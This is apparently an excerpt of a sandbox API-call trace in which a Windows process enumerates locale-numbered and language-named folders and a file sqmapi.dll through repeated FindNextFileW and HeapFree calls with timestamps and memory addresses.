	[0145.252] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x303975a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1043", cAlternateFileName="")) returned 1
	[0145.253] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0145.253] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf61d7668, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1044", cAlternateFileName="")) returned 1
	[0145.254] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0145.254] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2ebae3b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2ebae3b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1045", cAlternateFileName="")) returned 1
	[0145.254] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0145.254] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1887f3e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1887f3e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1887f3e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1046", cAlternateFileName="")) returned 1
	[0145.394] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0145.394] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5a8a2df, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a8a2df, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a8a2df, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1048", cAlternateFileName="")) returned 1
	[0145.394] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0145.394] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b87f8e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b87f8e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b87f8e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1049", cAlternateFileName="")) returned 1
	[0145.394] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0145.394] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcc62b13, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcc62b13, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcc62b13, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1050", cAlternateFileName="")) returned 1
	[0145.395] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0145.395] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x303975a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1051", cAlternateFileName="")) returned 1
	[0145.395] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0145.395] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bd3439, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6bd3439, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6bd3439, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1053", cAlternateFileName="")) returned 1
	[0145.395] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0145.395] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf443017d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1054", cAlternateFileName="")) returned 1
	[0145.395] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0145.395] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0089415, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0089415, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1055", cAlternateFileName="")) returned 1
	[0145.395] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0145.395] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1057", cAlternateFileName="")) returned 1
	[0145.396] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0145.396] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1058", cAlternateFileName="")) returned 1
	[0145.396] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0145.396] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99b89f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99b89f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99b89f6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1060", cAlternateFileName="")) returned 1
	[0145.431] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0145.431] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2d943c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2d943c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2d943c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1061", cAlternateFileName="")) returned 1
	[0145.432] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.432] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992fb3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1062", cAlternateFileName="")) returned 1
	[0145.432] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.432] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1063", cAlternateFileName="")) returned 1
	[0145.432] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.432] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1066", cAlternateFileName="")) returned 1
	[0145.432] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.432] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffe01c35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1069", cAlternateFileName="")) returned 1
	[0145.433] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.433] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5afc9d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5afc9d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5afc9d3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1081", cAlternateFileName="")) returned 1
	[0145.433] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.433] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a2268a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7abb0bc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7abb0bc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1086", cAlternateFileName="")) returned 1
	[0145.433] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.433] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1087", cAlternateFileName="")) returned 1
	[0145.433] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.433] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf61fd8b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1110", cAlternateFileName="")) returned 1
	[0145.434] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.434] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc47ce76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc47ce76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc47ce76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="2052", cAlternateFileName="")) returned 1
	[0145.434] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.434] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c40a24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c40a24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="2070", cAlternateFileName="")) returned 1
	[0145.434] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.434] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="2074", cAlternateFileName="")) returned 1
	[0145.434] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.434] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 1
	[0145.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.435] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67ce4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67ce4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67ce4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="9242", cAlternateFileName="")) returned 1
	[0145.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0145.435] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67ce4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67ce4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67ce4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="9242", cAlternateFileName="")) returned 0
	[0145.435] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0145.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0145.435] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1
	[0145.438] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0145.438] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1
	[0145.441] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0145.441] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1
	[0145.443] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0145.443] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe99511, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1
	[0145.446] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0145.446] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5612cee, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5612cee, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5612cee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ae38, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0145.488] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0145.489] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-latn", cAlternateFileName="")) returned 1
	[0145.500] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0145.500] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0145.504] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0145.504] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02eb98a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1
	[0145.509] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0145.510] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefebf763, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1
	[0145.514] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0145.515] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16867e02, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16867e02, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1
	[0145.532] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
